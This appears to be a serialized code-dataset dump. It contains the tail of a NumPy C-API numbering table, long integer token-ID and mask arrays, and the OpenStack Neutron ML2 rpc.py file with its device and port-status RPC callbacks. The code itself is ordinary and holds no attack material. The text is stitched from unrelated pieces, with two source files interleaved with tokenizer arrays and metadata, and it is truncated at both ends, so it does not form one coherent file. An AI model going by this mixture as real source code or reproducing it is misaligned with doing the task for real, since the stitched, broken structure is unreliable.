'PyArray_EinsteinSum': (276,), 'PyArray_NewLikeArray': (277, StealRef(3), NonNull(1)), 'PyArray_GetArrayParamsFromObject': (278,), 'PyArray_ConvertClipmodeSequence': (279,), 'PyArray_MatrixProduct2': (280,), # End 1.6 API 'NpyIter_IsFirstVisit': (281,), 'PyArray_SetBaseObject': (282, StealRef(2)), 'PyArray_CreateSortedStridePerm': (283,), 'PyArray_RemoveAxesInPlace': (284,), 'PyArray_DebugPrint': (285,), 'PyArray_FailUnlessWriteable': (286,), 'PyArray_SetUpdateIfCopyBase': (287, StealRef(2)), 'PyDataMem_NEW': (288,), 'PyDataMem_FREE': (289,), 'PyDataMem_RENEW': (290,), 'PyDataMem_SetEventHook': (291,), 'PyArray_MapIterSwapAxes': (293,), 'PyArray_MapIterArray': (294,), 'PyArray_MapIterNext': (295,), # End 1.7 API 'PyArray_Partition': (296,), 'PyArray_ArgPartition': (297,), 'PyArray_SelectkindConverter': (298,), 'PyDataMem_NEW_ZEROED': (299,), # End 1.8 API # End 1.9 API 'PyArray_CheckAnyScalarExact': (300, NonNull(1)), # End 1.10 API } ufunc_types_api = { 'PyUFunc_Type': (0,) } ufunc_funcs_api = { 'PyUFunc_FromFuncAndData': (1,), 'PyUFunc_RegisterLoopForType': (2,), 'PyUFunc_GenericFunction': (3,), 'PyUFunc_f_f_As_d_d': (4,), 'PyUFunc_d_d': (5,), 'PyUFunc_f_f': (6,), 'PyUFunc_g_g': (7,), 'PyUFunc_F_F_As_D_D': (8,), 'PyUFunc_F_F': (9,), 'PyUFunc_D_D': (10,), 'PyUFunc_G_G': (11,), 'PyUFunc_O_O': (12,), 'PyUFunc_ff_f_As_dd_d': (13,), 'PyUFunc_ff_f': (14,), 'PyUFunc_dd_d': (15,), 'PyUFunc_gg_g': (16,), 'PyUFunc_FF_F_As_DD_D': (17,), 'PyUFunc_DD_D': (18,), 'PyUFunc_FF_F': (19,), 'PyUFunc_GG_G': (20,), 'PyUFunc_OO_O': (21,), 'PyUFunc_O_O_method': (22,), 'PyUFunc_OO_O_method': (23,), 'PyUFunc_On_Om': (24,), 'PyUFunc_GetPyValues': (25,), 'PyUFunc_checkfperr': (26,), 'PyUFunc_clearfperr': (27,), 'PyUFunc_getfperr': (28,), 'PyUFunc_handlefperr': (29,), 'PyUFunc_ReplaceLoopBySignature': (30,), 'PyUFunc_FromFuncAndDataAndSignature': (31,), 'PyUFunc_SetUsesArraysAsData': (32,), # End 1.5 API 'PyUFunc_e_e': (33,), 'PyUFunc_e_e_As_f_f': (34,), 'PyUFunc_e_e_As_d_d': (35,), 'PyUFunc_ee_e': (36,), 'PyUFunc_ee_e_As_ff_f': (37,), 'PyUFunc_ee_e_As_dd_d': (38,), # End 1.6 API 'PyUFunc_DefaultTypeResolver': (39,), 'PyUFunc_ValidateCasting': (40,), # End 1.7 API 'PyUFunc_RegisterLoopForDescr': (41,), # End 1.8 API } # List of all the dicts which define the C API # XXX: DO NOT CHANGE THE ORDER OF TUPLES BELOW ! multiarray_api = ( multiarray_global_vars, multiarray_scalar_bool_values, multiarray_types_api, multiarray_funcs_api, ) ufunc_api = ( ufunc_funcs_api, ufunc_types_api ) full_api = multiarray_api + ufunc_api
bsd-3-clause
[ 624, 21741, 781, 5627, 314, 16629, 3423, 12, 2943, 12, 5423, 1396, 1314, 1929, 370, 506, 199, 23028, 4012, 282, 2288, 445, 7849, 14, 199, 199, 22321, 2600, 3509, 536, 1035, 1478, 4092, 14, 199, 199, 11423, 5907, 1265, 1570, 1373, 1478, 12, 1265, 2059, 314, 14840, 41, 334, 460, 314, 14840, 41, 1015, 1329, 199, 5626, 506, 10035, 2509, 680, 3979, 5907, 1265, 1050, 376, 1242, 370, 1373, 402, 314, 1211, 12, 314, 3261, 199, 10065, 370, 506, 4588, 14, 199, 199, 11423, 7791, 282, 805, 12, 1852, 3238, 370, 675, 314, 2163, 3000, 440, 1202, 465, 376, 1478, 199, 8, 262, 1930, 1265, 675, 376, 3411, 1478, 503, 14882, 12, 314, 1900, 911, 3631, 436, 746, 376, 199, 1971, 12, 880, 652, 1077, 3661, 5836, 440, 664, 625, 20556, 68, 680, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 504, 1233, 63, 20748, 14, 2268, 1246, 492, 17854, 279, 2891, 12, 10172, 8849, 199, 199, 3, 1478, 12, 730, 199, 23698, 63, 2966, 63, 2936, 275, 469, 272, 283, 46, 4521, 63, 7125, 3791, 7893, 356, 3777, 334, 23, 12, 283, 442, 659, 272, 283, 46, 4521, 63, 3472, 63, 23680, 63, 18898, 1206, 356, 257, 334, 17027, 12, 283, 46, 4521, 63, 18898, 1206, 659, 199, 93, 199, 199, 23698, 63, 7033, 63, 2245, 63, 1459, 275, 469, 272, 2513, 28726, 13090, 63, 10349, 6550, 356, 259, 334, 25, 4258, 199, 93, 199, 199, 3, 1478, 12, 15538, 199, 3, 8749, 2216, 3423, 626, 1172, 2757, 7923, 370, 440, 1929, 1263, 15538, 199, 23698, 63, 1313, 63, 1246, 275, 469, 272, 283, 2713, 7279, 3836, 63, 804, 356, 8295, 334, 17, 4706, 272, 283, 28726, 63, 804, 356, 9326, 334, 18, 4706, 272, 283, 28726, 28782, 63, 804, 356, 4483, 334, 19, 4706, 272, 283, 28726, 6381, 63, 804, 356, 4483, 334, 20, 4706, 272, 283, 28726, 3315, 63, 804, 356, 463, 334, 21, 4706, 272, 283, 28726, 3947, 3315, 63, 804, 356, 3322, 334, 22, 4706, 272, 283, 2713, 10349, 22011, 804, 63, 804, 356, 5185, 334, 24, 4706, 272, 283, 2713, 9417, 22011, 804, 63, 804, 356, 3322, 334, 709, 4706, 272, 283, 2713, 3259, 22011, 804, 63, 804, 356, 3777, 334, 845, 4706, 272, 283, 2713, 2674, 22011, 804, 63, 804, 356, 3322, 334, 713, 4706, 272, 283, 2713, 23013, 2674, 22011, 804, 63, 804, 356, 420, 334, 969, 4706, 272, 283, 2713, 25269, 2674, 22011, 804, 63, 804, 356, 259, 334, 1079, 4706, 272, 283, 2713, 607, 7327, 22011, 804, 63, 804, 356, 3322, 334, 1046, 4706, 272, 283, 2713, 17895, 22011, 804, 63, 804, 356, 3698, 334, 975, 4706, 272, 283, 2713, 14500, 17895, 22011, 804, 63, 804, 356, 259, 334, 1196, 4706, 272, 283, 2713, 9389, 22011, 804, 63, 804, 356, 3698, 334, 1085, 4706, 272, 283, 2713, 14852, 22011, 804, 63, 804, 356, 3515, 334, 1167, 4706, 272, 283, 2713, 4861, 22011, 804, 63, 804, 356, 5185, 334, 1165, 4706, 272, 283, 2713, 10039, 22011, 804, 63, 804, 356, 4519, 334, 2025, 4706, 272, 283, 2713, 3241, 22011, 804, 63, 804, 356, 4483, 334, 1081, 4706, 272, 283, 2713, 9551, 22011, 804, 63, 804, 356, 5185, 334, 1789, 4706, 272, 283, 2713, 9551, 9551, 22011, 804, 63, 804, 356, 3698, 334, 1194, 4706, 272, 283, 2713, 53, 4861, 22011, 804, 63, 804, 356, 4519, 334, 821, 4706, 272, 283, 2713, 1668, 7222, 22011, 804, 63, 804, 356, 3777, 334, 1479, 4706, 272, 283, 2713, 13304, 22011, 804, 63, 804, 356, 5185, 334, 1465, 4706, 272, 283, 2713, 1293, 951, 22011, 804, 63, 804, 356, 4519, 334, 1651, 4706, 272, 283, 2713, 1293, 951, 9551, 22011, 804, 63, 804, 356, 3515, 334, 1398, 4706, 272, 283, 2713, 5136, 22011, 804, 63, 804, 356, 4519, 334, 1216, 4706, 272, 283, 2713, 7281, 22011, 804, 63, 804, 356, 3777, 334, 2192, 4706, 272, 283, 2713, 9551, 7281, 22011, 804, 63, 804, 356, 260, 334, 708, 4706, 272, 283, 2713, 35, 5136, 22011, 804, 63, 804, 356, 3777, 334, 1153, 4706, 272, 283, 2713, 35, 7281, 22011, 804, 63, 804, 356, 3322, 334, 1082, 4706, 272, 283, 2713, 1981, 951, 7281, 22011, 804, 63, 804, 356, 263, 334, 1276, 4706, 272, 283, 19999, 22011, 804, 63, 804, 356, 3777, 334, 1344, 4706, 272, 283, 2713, 1558, 22011, 804, 63, 804, 356, 3777, 334, 1401, 4706, 272, 283, 2713, 7087, 22011, 804, 63, 804, 356, 3322, 334, 1703, 4706, 272, 283, 2713, 29545, 22011, 804, 63, 804, 356, 5185, 334, 1355, 4706, 272, 327, 9599, 413, 14, 21, 3261, 272, 283, 2713, 1366, 2674, 22011, 804, 63, 804, 356, 263, 334, 6886, 4706, 272, 283, 2713, 19636, 22011, 804, 63, 804, 356, 3698, 334, 7842, 4706, 272, 283, 2713, 1366, 3136, 22011, 804, 63, 804, 356, 3515, 334, 9669, 4706, 272, 283, 2713, 21132, 22011, 804, 63, 804, 356, 5185, 334, 9335, 4706, 272, 283, 46, 647, 3315, 63, 804, 356, 9326, 334, 9252, 4706, 272, 327, 9599, 413, 14, 22, 3261, 199, 93, 199, 199, 3, 4640, 653, 4521, 63, 7125, 3791, 7893, 334, 5830, 442, 24104, 28726, 63, 3735, 59, 22, 566, 199, 3, 4640, 1611, 10349, 22011, 804, 63, 804, 334, 5830, 2713, 804, 1692, 24104, 28726, 63, 3735, 59, 23, 566, 199, 3, 4640, 485, 28726, 13090, 63, 10349, 6550, 3666, 2713, 10349, 13090, 1692, 24104, 28726, 63, 3735, 59, 24, 566, 199, 199, 23698, 63, 9204, 63, 1246, 275, 469, 272, 283, 28726, 63, 1002, 8711, 3836, 35, 3353, 356, 3698, 334, 16, 4706, 272, 283, 28726, 63, 1084, 14687, 16452, 356, 4483, 334, 2167, 4706, 272, 283, 28726, 63, 13920, 4105, 16452, 356, 4483, 334, 2953, 4706, 272, 283, 28726, 63, 568, 5798, 38, 356, 9668, 334, 2260, 4706, 272, 283, 28726, 63, 56, 1093, 5798, 38, 356, 10473, 334, 2824, 4706, 272, 283, 28726, 63, 1084, 1558, 3481, 356, 3322, 334, 1602, 4706, 272, 283, 28726, 63, 28782, 2532, 804, 356, 4483, 334, 2322, 4706, 272, 283, 28726, 63, 804, 1692, 2532, 804, 356, 3698, 334, 2466, 4706, 272, 283, 28726, 63, 8681, 356, 12793, 334, 2417, 4706, 272, 283 ]
[ 21741, 781, 5627, 314, 16629, 3423, 12, 2943, 12, 5423, 1396, 1314, 1929, 370, 506, 199, 23028, 4012, 282, 2288, 445, 7849, 14, 199, 199, 22321, 2600, 3509, 536, 1035, 1478, 4092, 14, 199, 199, 11423, 5907, 1265, 1570, 1373, 1478, 12, 1265, 2059, 314, 14840, 41, 334, 460, 314, 14840, 41, 1015, 1329, 199, 5626, 506, 10035, 2509, 680, 3979, 5907, 1265, 1050, 376, 1242, 370, 1373, 402, 314, 1211, 12, 314, 3261, 199, 10065, 370, 506, 4588, 14, 199, 199, 11423, 7791, 282, 805, 12, 1852, 3238, 370, 675, 314, 2163, 3000, 440, 1202, 465, 376, 1478, 199, 8, 262, 1930, 1265, 675, 376, 3411, 1478, 503, 14882, 12, 314, 1900, 911, 3631, 436, 746, 376, 199, 1971, 12, 880, 652, 1077, 3661, 5836, 440, 664, 625, 20556, 68, 680, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 4629, 12, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 504, 1233, 63, 20748, 14, 2268, 1246, 492, 17854, 279, 2891, 12, 10172, 8849, 199, 199, 3, 1478, 12, 730, 199, 23698, 63, 2966, 63, 2936, 275, 469, 272, 283, 46, 4521, 63, 7125, 3791, 7893, 356, 3777, 334, 23, 12, 283, 442, 659, 272, 283, 46, 4521, 63, 3472, 63, 23680, 63, 18898, 1206, 356, 257, 334, 17027, 12, 283, 46, 4521, 63, 18898, 1206, 659, 199, 93, 199, 199, 23698, 63, 7033, 63, 2245, 63, 1459, 275, 469, 272, 2513, 28726, 13090, 63, 10349, 6550, 356, 259, 334, 25, 4258, 199, 93, 199, 199, 3, 1478, 12, 15538, 199, 3, 8749, 2216, 3423, 626, 1172, 2757, 7923, 370, 440, 1929, 1263, 15538, 199, 23698, 63, 1313, 63, 1246, 275, 469, 272, 283, 2713, 7279, 3836, 63, 804, 356, 8295, 334, 17, 4706, 272, 283, 28726, 63, 804, 356, 9326, 334, 18, 4706, 272, 283, 28726, 28782, 63, 804, 356, 4483, 334, 19, 4706, 272, 283, 28726, 6381, 63, 804, 356, 4483, 334, 20, 4706, 272, 283, 28726, 3315, 63, 804, 356, 463, 334, 21, 4706, 272, 283, 28726, 3947, 3315, 63, 804, 356, 3322, 334, 22, 4706, 272, 283, 2713, 10349, 22011, 804, 63, 804, 356, 5185, 334, 24, 4706, 272, 283, 2713, 9417, 22011, 804, 63, 804, 356, 3322, 334, 709, 4706, 272, 283, 2713, 3259, 22011, 804, 63, 804, 356, 3777, 334, 845, 4706, 272, 283, 2713, 2674, 22011, 804, 63, 804, 356, 3322, 334, 713, 4706, 272, 283, 2713, 23013, 2674, 22011, 804, 63, 804, 356, 420, 334, 969, 4706, 272, 283, 2713, 25269, 2674, 22011, 804, 63, 804, 356, 259, 334, 1079, 4706, 272, 283, 2713, 607, 7327, 22011, 804, 63, 804, 356, 3322, 334, 1046, 4706, 272, 283, 2713, 17895, 22011, 804, 63, 804, 356, 3698, 334, 975, 4706, 272, 283, 2713, 14500, 17895, 22011, 804, 63, 804, 356, 259, 334, 1196, 4706, 272, 283, 2713, 9389, 22011, 804, 63, 804, 356, 3698, 334, 1085, 4706, 272, 283, 2713, 14852, 22011, 804, 63, 804, 356, 3515, 334, 1167, 4706, 272, 283, 2713, 4861, 22011, 804, 63, 804, 356, 5185, 334, 1165, 4706, 272, 283, 2713, 10039, 22011, 804, 63, 804, 356, 4519, 334, 2025, 4706, 272, 283, 2713, 3241, 22011, 804, 63, 804, 356, 4483, 334, 1081, 4706, 272, 283, 2713, 9551, 22011, 804, 63, 804, 356, 5185, 334, 1789, 4706, 272, 283, 2713, 9551, 9551, 22011, 804, 63, 804, 356, 3698, 334, 1194, 4706, 272, 283, 2713, 53, 4861, 22011, 804, 63, 804, 356, 4519, 334, 821, 4706, 272, 283, 2713, 1668, 7222, 22011, 804, 63, 804, 356, 3777, 334, 1479, 4706, 272, 283, 2713, 13304, 22011, 804, 63, 804, 356, 5185, 334, 1465, 4706, 272, 283, 2713, 1293, 951, 22011, 804, 63, 804, 356, 4519, 334, 1651, 4706, 272, 283, 2713, 1293, 951, 9551, 22011, 804, 63, 804, 356, 3515, 334, 1398, 4706, 272, 283, 2713, 5136, 22011, 804, 63, 804, 356, 4519, 334, 1216, 4706, 272, 283, 2713, 7281, 22011, 804, 63, 804, 356, 3777, 334, 2192, 4706, 272, 283, 2713, 9551, 7281, 22011, 804, 63, 804, 356, 260, 334, 708, 4706, 272, 283, 2713, 35, 5136, 22011, 804, 63, 804, 356, 3777, 334, 1153, 4706, 272, 283, 2713, 35, 7281, 22011, 804, 63, 804, 356, 3322, 334, 1082, 4706, 272, 283, 2713, 1981, 951, 7281, 22011, 804, 63, 804, 356, 263, 334, 1276, 4706, 272, 283, 19999, 22011, 804, 63, 804, 356, 3777, 334, 1344, 4706, 272, 283, 2713, 1558, 22011, 804, 63, 804, 356, 3777, 334, 1401, 4706, 272, 283, 2713, 7087, 22011, 804, 63, 804, 356, 3322, 334, 1703, 4706, 272, 283, 2713, 29545, 22011, 804, 63, 804, 356, 5185, 334, 1355, 4706, 272, 327, 9599, 413, 14, 21, 3261, 272, 283, 2713, 1366, 2674, 22011, 804, 63, 804, 356, 263, 334, 6886, 4706, 272, 283, 2713, 19636, 22011, 804, 63, 804, 356, 3698, 334, 7842, 4706, 272, 283, 2713, 1366, 3136, 22011, 804, 63, 804, 356, 3515, 334, 9669, 4706, 272, 283, 2713, 21132, 22011, 804, 63, 804, 356, 5185, 334, 9335, 4706, 272, 283, 46, 647, 3315, 63, 804, 356, 9326, 334, 9252, 4706, 272, 327, 9599, 413, 14, 22, 3261, 199, 93, 199, 199, 3, 4640, 653, 4521, 63, 7125, 3791, 7893, 334, 5830, 442, 24104, 28726, 63, 3735, 59, 22, 566, 199, 3, 4640, 1611, 10349, 22011, 804, 63, 804, 334, 5830, 2713, 804, 1692, 24104, 28726, 63, 3735, 59, 23, 566, 199, 3, 4640, 485, 28726, 13090, 63, 10349, 6550, 3666, 2713, 10349, 13090, 1692, 24104, 28726, 63, 3735, 59, 24, 566, 199, 199, 23698, 63, 9204, 63, 1246, 275, 469, 272, 283, 28726, 63, 1002, 8711, 3836, 35, 3353, 356, 3698, 334, 16, 4706, 272, 283, 28726, 63, 1084, 14687, 16452, 356, 4483, 334, 2167, 4706, 272, 283, 28726, 63, 13920, 4105, 16452, 356, 4483, 334, 2953, 4706, 272, 283, 28726, 63, 568, 5798, 38, 356, 9668, 334, 2260, 4706, 272, 283, 28726, 63, 56, 1093, 5798, 38, 356, 10473, 334, 2824, 4706, 272, 283, 28726, 63, 1084, 1558, 3481, 356, 3322, 334, 1602, 4706, 272, 283, 28726, 63, 28782, 2532, 804, 356, 4483, 334, 2322, 4706, 272, 283, 28726, 63, 804, 1692, 2532, 804, 356, 3698, 334, 2466, 4706, 272, 283, 28726, 63, 8681, 356, 12793, 334, 2417, 4706, 272, 283, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
beagles/neutron_hacking
neutron/plugins/ml2/rpc.py
1
9582
# Copyright (c) 2013 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo import messaging from neutron.agent import securitygroups_rpc as sg_rpc from neutron.common import constants as q_const from neutron.common import rpc from neutron.common import topics from neutron.db import api as db_api from neutron.db import dhcp_rpc_base from neutron.db import securitygroups_rpc_base as sg_db_rpc from neutron import manager from neutron.openstack.common import log from neutron.openstack.common import uuidutils from neutron.plugins.ml2 import db from neutron.plugins.ml2 import driver_api as api from neutron.plugins.ml2.drivers import type_tunnel # REVISIT(kmestery): Allow the type and mechanism drivers to supply the # mixins and eventually remove the direct dependencies on type_tunnel. LOG = log.getLogger(__name__) TAP_DEVICE_PREFIX = 'tap' TAP_DEVICE_PREFIX_LENGTH = 3 class RpcCallbacks(dhcp_rpc_base.DhcpRpcCallbackMixin, sg_db_rpc.SecurityGroupServerRpcCallbackMixin, type_tunnel.TunnelRpcCallbackMixin): target = messaging.Target(version='1.1') # history # 1.0 Initial version (from openvswitch/linuxbridge) # 1.1 Support Security Group RPC @classmethod def _device_to_port_id(cls, device): # REVISIT(rkukura): Consider calling into MechanismDrivers to # process device names, or having MechanismDrivers supply list # of device prefixes to strip. if device.startswith(TAP_DEVICE_PREFIX): return device[TAP_DEVICE_PREFIX_LENGTH:] else: # REVISIT(irenab): Consider calling into bound MD to # handle the get_device_details RPC, then remove the 'else' clause if not uuidutils.is_uuid_like(device): port = db.get_port_from_device_mac(device) if port: return port.id return device @classmethod def get_port_from_device(cls, device): port_id = cls._device_to_port_id(device) port = db.get_port_and_sgs(port_id) if port: port['device'] = device return port def get_device_details(self, rpc_context, **kwargs): """Agent requests device details.""" agent_id = kwargs.get('agent_id') device = kwargs.get('device') LOG.debug(_("Device %(device)s details requested by agent " "%(agent_id)s"), {'device': device, 'agent_id': agent_id}) port_id = self._device_to_port_id(device) session = db_api.get_session() with session.begin(subtransactions=True): port = db.get_port(session, port_id) if not port: LOG.warning(_("Device %(device)s requested by agent " "%(agent_id)s not found in database"), {'device': device, 'agent_id': agent_id}) return {'device': device} segments = db.get_network_segments(session, port.network_id) if not segments: LOG.warning(_("Device %(device)s requested by agent " "%(agent_id)s has network %(network_id)s with " "no segments"), {'device': device, 'agent_id': agent_id, 'network_id': port.network_id}) return {'device': device} binding = db.ensure_port_binding(session, port.id) if not binding.segment: LOG.warning(_("Device %(device)s requested by agent " "%(agent_id)s on network %(network_id)s not " "bound, vif_type: %(vif_type)s"), {'device': device, 'agent_id': agent_id, 'network_id': port.network_id, 'vif_type': binding.vif_type}) return {'device': device} segment = self._find_segment(segments, binding.segment) if not segment: LOG.warning(_("Device %(device)s requested by agent " "%(agent_id)s on network %(network_id)s " "invalid segment, vif_type: %(vif_type)s"), {'device': device, 'agent_id': agent_id, 'network_id': port.network_id, 'vif_type': binding.vif_type}) return {'device': device} new_status = (q_const.PORT_STATUS_BUILD if port.admin_state_up else q_const.PORT_STATUS_DOWN) if port.status != new_status: port.status = new_status entry = {'device': device, 'network_id': port.network_id, 'port_id': port.id, 'admin_state_up': port.admin_state_up, 'network_type': segment[api.NETWORK_TYPE], 'segmentation_id': segment[api.SEGMENTATION_ID], 'physical_network': segment[api.PHYSICAL_NETWORK]} LOG.debug(_("Returning: %s"), entry) return entry def _find_segment(self, segments, segment_id): for segment in segments: if segment[api.ID] == segment_id: return segment def update_device_down(self, rpc_context, **kwargs): """Device no longer exists on agent.""" # TODO(garyk) - live migration and port status agent_id = kwargs.get('agent_id') device = kwargs.get('device') host = kwargs.get('host') LOG.debug(_("Device %(device)s no longer exists at agent " "%(agent_id)s"), {'device': device, 'agent_id': agent_id}) plugin = manager.NeutronManager.get_plugin() port_id = self._device_to_port_id(device) port_exists = True if (host and not plugin.port_bound_to_host(port_id, host)): LOG.debug(_("Device %(device)s not bound to the" " agent host %(host)s"), {'device': device, 'host': host}) return {'device': device, 'exists': port_exists} port_exists = plugin.update_port_status(rpc_context, port_id, q_const.PORT_STATUS_DOWN) return {'device': device, 'exists': port_exists} def update_device_up(self, rpc_context, **kwargs): """Device is up on agent.""" agent_id = kwargs.get('agent_id') device = kwargs.get('device') host = kwargs.get('host') LOG.debug(_("Device %(device)s up at agent %(agent_id)s"), {'device': device, 'agent_id': agent_id}) plugin = manager.NeutronManager.get_plugin() port_id = self._device_to_port_id(device) if (host and not plugin.port_bound_to_host(port_id, host)): LOG.debug(_("Device %(device)s not bound to the" " agent host %(host)s"), {'device': device, 'host': host}) return plugin.update_port_status(rpc_context, port_id, q_const.PORT_STATUS_ACTIVE) class AgentNotifierApi(sg_rpc.SecurityGroupAgentRpcApiMixin, type_tunnel.TunnelAgentRpcApiMixin): """Agent side of the openvswitch rpc API. API version history: 1.0 - Initial version. 1.1 - Added get_active_networks_info, create_dhcp_port, update_dhcp_port, and removed get_dhcp_port methods. """ def __init__(self, topic): super(AgentNotifierApi, self).__init__() target = messaging.Target(topic=topic, version='1.1') self.client = rpc.get_client(target) self.topic_network_delete = topics.get_topic_name(topic, topics.NETWORK, topics.DELETE) self.topic_port_update = topics.get_topic_name(topic, topics.PORT, topics.UPDATE) def network_delete(self, context, network_id): cctxt = self.client.prepare(fanout=True, topic=self.topic_network_delete) cctxt.cast(context, 'network_delete', network_id=network_id) def port_update(self, context, port, network_type, segmentation_id, physical_network): cctxt = self.client.prepare(fanout=True, topic=self.topic_port_update) cctxt.cast(context, 'port_update', port=port, network_type=network_type, segmentation_id=segmentation_id, physical_network=physical_network)
apache-2.0
[ 3, 1898, 334, 67, 9, 6171, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 11258, 492, 30429, 199, 199, 504, 8224, 14, 4054, 492, 6391, 2634, 63, 4354, 465, 12578, 63, 4354, 199, 504, 8224, 14, 2330, 492, 5262, 465, 1894, 63, 1297, 199, 504, 8224, 14, 2330, 492, 8985, 199, 504, 8224, 14, 2330, 492, 17398, 199, 504, 8224, 14, 697, 492, 2986, 465, 1592, 63, 1246, 199, 504, 8224, 14, 697, 492, 19064, 63, 4354, 63, 1095, 199, 504, 8224, 14, 697, 492, 6391, 2634, 63, 4354, 63, 1095, 465, 12578, 63, 697, 63, 4354, 199, 504, 8224, 492, 5256, 199, 504, 8224, 14, 8512, 14, 2330, 492, 943, 199, 504, 8224, 14, 8512, 14, 2330, 492, 5377, 1208, 199, 504, 8224, 14, 5265, 14, 757, 18, 492, 1592, 199, 504, 8224, 14, 5265, 14, 757, 18, 492, 5253, 63, 1246, 465, 2986, 199, 504, 8224, 14, 5265, 14, 757, 18, 14, 13337, 492, 730, 63, 15360, 199, 3, 5363, 11793, 649, 8, 75, 6415, 351, 89, 304, 9812, 314, 730, 436, 14729, 19016, 370, 17169, 314, 199, 3, 13667, 3617, 436, 21356, 2813, 314, 4125, 5124, 641, 730, 63, 15360, 14, 199, 199, 4947, 275, 943, 14, 5572, 3460, 354, 3368, 199, 199, 52, 1282, 63, 10555, 63, 6351, 275, 283, 16609, 7, 199, 52, 1282, 63, 10555, 63, 6351, 63, 9127, 275, 650, 421, 199, 533, 820, 2352, 17958, 8, 10801, 63, 4354, 63, 1095, 14, 36, 14968, 15569, 2806, 4256, 12, 673, 12578, 63, 697, 63, 4354, 14, 19280, 3120, 15569, 2806, 4256, 12, 673, 730, 63, 15360, 14, 22664, 2715, 15569, 2806, 4256, 304, 339, 1347, 275, 30429, 14, 4277, 8, 1023, 534, 17, 14, 17, 358, 272, 327, 7994, 272, 327, 257, 413, 14, 16, 6026, 1015, 334, 504, 1551, 23201, 15, 472, 85, 1774, 5562, 9, 272, 327, 257, 413, 14, 17, 12502, 13863, 5611, 11785, 339, 768, 3744, 272, 347, 485, 1782, 63, 475, 63, 719, 63, 344, 8, 1886, 12, 2243, 304, 267, 327, 5363, 11793, 649, 8, 23992, 3210, 12417, 304, 24413, 6358, 1901, 3194, 11993, 6158, 83, 370, 267, 327, 2112, 2243, 1561, 12, 503, 9445, 3194, 11993, 6158, 83, 17169, 769, 267, 327, 402, 2243, 13158, 370, 6202, 14, 267, 340, 2243, 14, 2460, 8, 52, 1282, 63, 10555, 63, 6351, 304, 288, 372, 2243, 59, 52, 1282, 63, 10555, 63, 6351, 63, 9127, 2938, 267, 587, 26, 288, 327, 5363, 11793, 649, 8, 73, 828, 371, 304, 24413, 6358, 1901, 3914, 15830, 370, 288, 327, 2429, 314, 664, 63, 1782, 63, 5087, 11785, 12, 2066, 2813, 314, 283, 2836, 7, 8502, 288, 340, 440, 5377, 1208, 14, 374, 63, 2580, 63, 2930, 8, 1782, 304, 355, 1844, 275, 1592, 14, 362, 63, 719, 63, 504, 63, 1782, 63, 3088, 8, 1782, 9, 355, 340, 1844, 26, 490, 372, 1844, 14, 344, 267, 372, 2243, 339, 768, 3744, 272, 347, 664, 63, 719, 63, 504, 63, 1782, 8, 1886, 12, 2243, 304, 267, 1844, 63, 344, 275, 843, 423, 1782, 63, 475, 63, 719, 63, 344, 8, 1782, 9, 267, 1844, 275, 1592, 14, 362, 63, 719, 63, 460, 63, 83, 458, 8, 719, 63, 344, 9, 267, 340, 1844, 26, 288, 1844, 459, 1782, 418, 275, 2243, 267, 372, 1844, 339, 347, 664, 63, 